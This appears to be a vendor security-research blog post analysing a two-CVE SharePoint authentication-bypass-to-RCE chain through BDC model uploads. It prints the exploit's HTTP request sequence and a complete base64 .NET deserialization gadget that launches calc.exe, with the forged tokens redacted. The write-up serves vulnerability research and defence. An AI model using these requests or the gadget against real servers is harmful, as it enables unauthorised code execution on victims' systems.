VulnCheck’s Initial Access Intelligence team shipped an exploit last week chaining two recently disclosed Microsoft SharePoint CVEs that, when used together, allow a remote unauthenticated adversary to bypass authentication and execute code on vulnerable target SharePoint servers:
- CVE-2026-55040: JWT token authentication bypass
- CVE-2026-63520: Unsafe .NET type instantiation
Both vulnerabilities were discovered by Rapid7’s Stephen Fewer, who published a PoC for CVE-2026-55040 (the first part of the chain) on August 11. Honeypot providers immediately began reporting exploitation in the wild, and the flaw was added to VulnCheck KEV on August 12 before being added to CISA KEV on August 18.
But CVE-2026-55040 isn’t actually all that useful on its own. The auth bypass is enough to prove some impact, but not enough to demonstrate the criticality of the full chain or build complete protections. As a result, the VulnCheck research team developed a complete RCE exploit, along with a version scanner, Suricata and Snort rules, encrypted and unencrypted PCAPs, and ASM queries. These artifacts are available to Initial Access Intelligence customers, and the team’s analysis of the SharePoint RCE chain is below.
SharePoint has a large deployment footprint and an appreciable internet-facing target population. ASM query engines show wildly differing counts of SharePoint servers on the open internet. After throwing out (copious) honeypots and de-duplicating, VulnCheck Target Intelligence finds at least 8,500 SharePoint servers online.
There’s a detailed write-up on CVE-2026-55040 here from the Rapid7 team, but the TL;DR is that a lack of proper validation in SharePoint’s JWT handling (SPJsonWebSecurityTokenHandlerV2) allows an unauthenticated attacker to forge JWT tokens and access the web application as a privileged account assuming you have certain information. For instance if you can obtain the SID or the user principal name (trusted identity provided must be configured for the latter) of a privileged SharePoint user, you can forge a JWT as that user to retrieve a FormDigestValue from a privileged endpoint. You can then use the forged JWT along with the digest value to access the application in “useful” ways, such as to make changes to the application via the Business Connectivity Services (BCS), or more specifically via BDC (Business Data Catalog), the core service on which BCS runs, to achieve RCE.
Rapid7’s disclosure for CVE-2026-63520 describes the issue as unsafe .NET type instantiation within SharePoint’s Business Connectivity Services. After reproducing the authentication bypass in our own SharePoint environment, our team diffed KB5002893 to see what changed. The most significant change was a new function, ValidateSafeBcsType, found inside Microsoft.SharePoint/Microsoft/SharePoint/BusinessData/Infrastructure/DotNetTypeReflector.cs.
Given the vulnerability’s reported root cause, the new function was promising. This blog from Stefan Goßner also offers more insight into what that specific SharePoint function does:
“Starting with the August 2026 CU, SharePoint applies additional validation to the .NET types that can be used by BCS models. Only types explicitly included in the farm’s BCSAllowedTypeNames allow list are permitted. Types that are not present in this list are blocked to provide additional protection against potentially unsafe type usage.”
Based on the excerpt above and the location of the code, we assessed that RCE would likely involve submitting a BDC (business data connectivity) model, or BDCM. BDC is a service that allows external data sources (e.g., databases, web services, .NET assemblies, etc) to be imported and used within SharePoint as though they were SharePoint-native data sources. These data sources are usually provided as LOB (Line of Business) systems in a metadata file. For more on BDC, see Microsoft’s overview and metadata model docs.
BDC has also been abused in past SharePoint exploits, which typically involved uploading a BDCM to the BusinessDataCatalog in order to exploit some weakness in the service. Two examples are CVE-2023-24955, a code injection RCE vulnerability disclosed in May 2023, and CVE-2019-1257, a code injection-to-BDC-deserialization vulnerability from September 2019. Both vulnerabilities, to some extent, involve uploading an XML BDCM file to the BusinessDataMetadataCatalog mostly according to the BDCM specification, then triggering the vulnerability using a POST request to /_vti_bin/client.svc/ProcessQuery.
CVE-2023-24955 in particular has a similar structure to CVE-2026-63520, which we know from implementing the 2023 flaw as part of a CVE-2023-29357 RCE chain.

When we examined the decompiled patched code, we found that the new validation function was being called in at least 16 locations, which gave us a reasonable roadmap for further investigation since they are all likely guarding interesting sinks. In the very first decompiled file in the image above, where ValidateSafeBcsType is defined, it is also used at the very bottom of a function called ResolveDotNetType to check the type as a guard to the return. This looked like the right path towards an unsafe .NET type. Just looking at the function signature, we know this function is parsing a type from a LobSystem.

We looked at the surrounding code, and while various avenues looked interesting, the most direct “resolve, then create” pattern we found was the GetEntityObject function in DotNetAssemblyConnectionManager.cs. This function pulls from a Class property in an “entity” (a known XML element of a BDC model), resolves the type from it, and then, a few lines later, runs Activator.CreateInstance on that resolved type.

Since that looked very close to what we were interested in, the next task was to hit the CreateInstance sink with a .NET type and method that we dictated. XML-based specs tend to be confusing, and we’d rather not make this entire blog post about the intricacies of the BDC spec. Instead we’ve focused the rest of this blog on what worked, provided the final requests that led to RCE, and included further reading resources on SharePoint’s BDC service for those who want to dig more deeply into the specs.
BDC models are nested hierarchies. At the top is a LobSystem, the external system itself, whose Type attribute says what it is going to connect to (assembly, database, web service, etc). The DotNetAssembly is the interesting Type attribute in this case, since it tells the BDC service to instantiate a .NET class and invoke some method on it.
The official SharePoint GitHub docs actually document the BDCM schema in a parent-child hierarchy, which was helpful. This told us roughly how the layout needed to look, and more importantly, which attributes exist for each XML element. We eventually managed to get a valid BDCM model to hit Activator.CreateInstance and instantiate a System.Object, visible in the debugger (below).

As you can see above, System.Object was successfully passed to CreateInstance. Once we got System.Object working, the next step was to replace it with something more useful, like System.Diagnostics.Process (which has the Start() method), to see what would happen.
When trying to use Process, everything appeared to be working at first. The debugger hit on the instantiation with Process as the type, but during execution, when the provided method name was resolved, it turned out that Instance types are checked first (and chosen if they exist) before any Static types. This resulted in this Start() overload being chosen over the static Start(String) overload that we wanted.

This Instance-first method selection is shown in the decompiled DotNetAssembly/DotNetAssemblySystemUtility.cs code above, and from this we identified that for a useful gadget (i.e., a logical code object to use as an exploit primitive), we needed a Class that resolved a usable Instance type (or possibly a Class that had a useful Static type and no instance types, though we didn’t test this directly).

Above: The incorrect Instance Start() overload being selected instead of the static method that we actually wanted.
After failing with Process.Start, we decided to go a different route. Based on our prior experience building .NET deserialization gadgets by hand, we knew that we could probably leverage System.Web.UI.LosFormatter, as it has a parameterless constructor with a useful Instance Method, Deserialize. We can call Deserialize with a base64-encoded string as the only argument, which in our case will be a deserialization gadget. While CVE-2026-63520 is not a deserialization vulnerability, we can still use the type instantiation to instantiate a class with a method that can deserialize an object (and it’s familiar to us). There are likely other gadgets that get the job done, too.
Next, we leaned on our earlier experimentation with Process.Start, swapped out the values for what would be expected in System.Web.UI.LosFormatter/Deserialize, and happily, got what we wanted. Below are the series of requests that produce the final CVE-2026-63520 RCE, along with descriptions of what is happening in each excerpt. We did not include requests for the JWT bypass, which are already handled in the Rapid7 PoC for CVE-2026-55040.
This creates a new document library of type 101 entitled “BusinessDataMetadataCatalog,” which gives us a place to upload our BDCM file.
POST /_api/web/lists HTTP/1.1
Host: spse
User-Agent: curl/8.20.0
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQ_OMITTED_FORGED_JWT_FROM_RAPID7_POC
Accept: application/json;odata=verbose
X-Requestdigest: 0x0CC55811194B3_OMITTED_DIGEST_OBTAINED_FROM_RAPID7_POC,22 Aug 2026 20:58:15 -0000
Content-Type: application/json;odata=verbose
Content-Length: 96
Connection: keep-alive
{
"__metadata":{
"type":"SP.List"
},
"Title":"BusinessDataMetadataCatalog",
"BaseTemplate":101
}
The next request shows where the evil happens: This second request is the BDCM model file that contains the gadget.
We’ll pause for a minute to talk about the concept that makes the Deserialize method run: the Finder. We weren’t able to simply say, “hey, run this method with these arguments.” We needed to bind some method from our .NET assembly to a method that SharePoint would expect to use to perform a CRUD operation, so we chose to bind it to one of the most common options: Finder. A Finder is the method SharePoint calls to fetch an entity’s rows, and it fires automatically the moment someone views the associated External List. Our method needed a return value, because by convention, it has to return a collection (type: IEnumerable). So binding our Deserialize method to the Finder type and giving it an IEnumerable return value is what gets SharePoint to run it for us, just by querying the list.
In the BDCM model below, we see the Method being defined. A Method is something we would usually define in a model to do something, like “get a specific value from the database.” In the Method, the two important bits inside of the Method are Parameter and MethodInstance. A Parameter defines an argument for a Method, or a return type for the Method. The Parameter mostly indicates whether it is an input or output value. Inside each Parameter is a TypeDescriptor element that defines the type of the parent Parameter element. A TypeDescriptor can also define DefaultValues for the parameter so we don’t need to pass them as arguments to the method.
Returning to the MethodInstance from earlier, we defined a MethodInstance as a Finder, and then placed that MethodInstance inside the Deserialize method to bind them together. There is also a SpecificFinder MethodInstance defined in the second request, which does not get executed but is required to be there along with the Finder, per Microsoft’s spec for creating external lists (third bullet down).
With all of that in mind, this next request essentially says: “I am creating a new LobSystem to interact with external content of type DotNetAssembly, with an entity that contains a property named “Class” whose value is the Assembly Qualified Type string of “System.Web.UI.LosFormatter”. This Entity has a Method called Deserialize, which has two parameters: a single input parameter with a TypeDescriptor that defines it as having a DefaultValue of some malicious gadget, and a return value parameter of type IEnumerable
POST /_api/web/GetFolderByServerRelativeUrl('BusinessDataMetadataCatalog')/Files/add(url='blah.bdcm',overwrite=true) HTTP/1.1
Host: spse
User-Agent: curl/8.20.0
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQ_OMITTED_FORGED_JWT_FROM_RAPID7_POC
Accept: application/json;odata=verbose
X-Requestdigest: 0x0CC55811194B3_OMITTED_DIGEST_OBTAINED_FROM_RAPID7_POC,22 Aug 2026 20:58:15 -0000
Content-Type: text/xml
Content-Length: 6426
Connection: keep-alive
System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
/wEyyBEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAACy9jIGNhbGMuZXhlBgcAAAAHY21kLmV4ZQQFAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDAHbWV0aG9kMQMDAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL
As mentioned earlier, we also needed to make a request to process this model. That is what the below request does. It registers a new external list bound to the model that was uploaded in the previous request.
POST /_vti_bin/client.svc/ProcessQuery HTTP/1.1
Host: spse
User-Agent: curl/8.20.0
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQ_OMITTED_FORGED_JWT_FROM_RAPID7_POC
Accept: */*
X-Requestdigest: 0x0CC55811194B3_OMITTED_DIGEST_OBTAINED_FROM_RAPID7_POC,22 Aug 2026 20:58:15 -0000
Content-Type: text/xml
Content-Length: 1060
Connection: keep-alive
blahlist
blahinst
blahns
blahent
blahsfind
blah.bdcm
The last request simply calls the list and tries to read from it, which invokes the Finder (Deserialize).
GET /_api/web/lists/getbytitle('blahlist')/items HTTP/1.1
Host: spse
User-Agent: curl/8.20.0
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAw_FORGED_JWT_FROM_RAPID7_POC
Accept: application/json;odata=verbose
Content-Length: 0
Connection: keep-alive
The key question, of course, is did it work?

…Yes!

And there we have it: Using a LosFormatted TypeConfuseDelegate that runs calc, deserializing it via the BDCM .NET type and method definitions, and pairing with the CVE-2026-55040 authentication bypass, we achieved a fully authenticated deserialization that executes a calc process on our vulnerable SharePoint server.
VulnCheck empowers organizations to transcend the challenges of vulnerability prioritization. Our suite of solutions provides product managers, PSIRT teams, and threat hunters with the tools required for accelerated, high-precision operations and infinite efficiency.
Recognizing the industry-wide necessity for superior data velocity and accuracy, we deliver high-fidelity insights to the market. We remain committed to surfacing critical intelligence on vulnerability exploitation and emerging trends, leveraging our unique dataset to support the practitioner community.
For more research like this, see FileRun: When Your File Manager Runs Your Files, Death By 20,000 PoCs, and ENDLESSDOORS Is Phoning Home. Pick Up.
Sign up for the VulnCheck community today to get free access to our VulnCheck KEV, enjoy our comprehensive vulnerability data, and request a trial of our Canary Intelligence, Target Intelligence, and Exploit & Vulnerability Intelligence products. Weekly Initial Access Intelligence exploits and detections can be found here.
